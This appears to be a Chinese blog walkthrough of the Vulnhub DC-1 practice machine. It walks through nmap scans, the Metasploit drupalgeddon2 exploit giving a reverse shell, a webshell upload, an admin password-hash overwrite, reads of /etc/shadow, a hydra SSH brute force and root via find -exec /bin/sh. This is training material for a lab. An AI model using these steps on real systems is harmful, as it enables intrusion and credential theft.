Vulnhub DC-1靶机渗透
简介
DC-1靶机是为了入门渗透测试的人准备的入门级的靶机,该靶机共有5个flag,其中最后一个finalflag是真的flag,其他都是提示性flag。这个靶机虽然简单,但是还是能学到一些基本的思路的。
接下来让我们畅玩DC-1靶机 。
配置
kali + DC-1,配置NAT模式。
信息搜集
nmap扫描
扫描网段
nmap -sP 192.168.146.0/24
详细扫描找到靶机
nmap -sV 192.168.146.139
可以看到开放了80端口,直接访问看看,看到是Drupal服务,直接上metasploit搜一下
漏洞扫描与验证
使用metasploit
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set RHOSTS 192.168.146.139
exploit
成功利用漏洞,已经得到反弹shell
getFlag
flag1
flag1就在web根目录下,直接cat即可
shell //meterpreter下
ls -a
cat flag1.txt
这是个提示的flag,意思是每个好cms都需要配置文件。
那有下一步思路了,就是找到配置文件。
搜索引擎查一下drupal的配置文件目录:/sites/default/settings.php
flag2
cd /sites/default
ls -a
cat settings.php | grep flag
head -n 20 settings.php //查看文件的前20行
刚刚没有扫出3306端口,再扫一下,3306是关闭的。无法远程登陆,那就是需要本地登陆了。
思路:上传webshell,使用蚁剑进行数据库管理。
flag3
web目录再/var/www,将webshell上传到此处,然后连接上
使用获得的数据库账号密码进行数据库的连接
看看user表,发现admin。这里就直接尝试使用update改管理员的密码,发现有权限!
update的密钥用下面这条链接的即可https://www.drupal.org/forum/support/post-installation/2011-11-19/changing-admin-password-in-database
password --- $S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4
然后直接admin,password登陆进去。点击上方菜单来的Content,就可以看到flag3
看到perm,马上想到下面的命令。估计是suid提权了。
find / -type f -perm -u=s
再往下看说到找密码,那就想到/etc/passwd和/etc/shadow
说-exec可以想到find有参数-exec可以执行系统命令。
flag4
cat /etc/passwd
cat /etc/shadow
没有权限直接读取密码。
没关系,可以尝试爆破
hydra -l flag4 -p pwd.txt ssh://192.168.146.139
爆破出flag4的密码是orange。
直接ssh连上就有flag4
ssh flag4@192.168.146.139
这里提示flag in root,那就是提权没得跑了
flag5
找一波suid文件
确实有find命令,再看看find命令的帮助。可以执行命令。
接下来执行命令读flag5把。
find flag4.txt -exec "whoami" \;
find flag4.txt -exec "/bin/sh" \;
cat /root/thefinalflag.txt
成功拿到最终的flag。
总结
该靶机确实是入门靶机,非常简单,每一步都提示,而且没有坑。
但是还是能学到部分东西,希望大家也一样。共勉。
接下来总结:常见的提权方式,并学习其用法。
最新文章
- 极客编程必备的五大PHP开发应用
- java 常量池
- 未能写入输出文件 c:/WINDOWS/Microsoft.NET/Framework/v2.0.50727/Temporary
- python之7-1类
- PHP中判断输入验证码是否一致
- Dashboard登录成功后 RuntimeError: Unable to create a new session key.
- Web程序员必备的CSS工具
- mysql常用基础操作语法(九)~~外连接查询【命令行模式】
- 存储那些事儿(三):OpenStack的块存储Cinder与商业存储的融合
- HDU 2147 P/N博弈
- C# winform自动更新 (附 demo下载)
- Think Python 2E中译本 _site
- 【css技能提升】完美的 Sticky Footer 布局
- ubuntu12.04 64bit libncurses5-dev和libncurses5-dev:i386共存性问题讨论
- linux--切换ipython解释器到python3
- (网络编程)socketserver模块服务端实现并发
- git Please move or remove them before you can merge.
- Go Example--for循环
- 最完美的Linux桌面软件
- HTTP 和 Socket 区别
热门文章
- js 任意值变化封装
- js 实现端口列表话
- Spring Boot 结合 Redis 序列化配置的一些问题
- js Array方法总结
- 告别炼丹,Google Brain提出强化学习助力Neural Architecture Search | ICLR2017
- hdu1429 胜利大逃亡(续)???天天逃亡???
- 证明与计算(7): 有限状态机(Finite State Machine)
- 深入理解JavaScript中的堆与栈 、浅拷贝与深拷贝
- [AI开发]一个例子说明机器学习和深度学习的关系
- coding++:高并发解决方案限流技术---漏桶算法限流--demo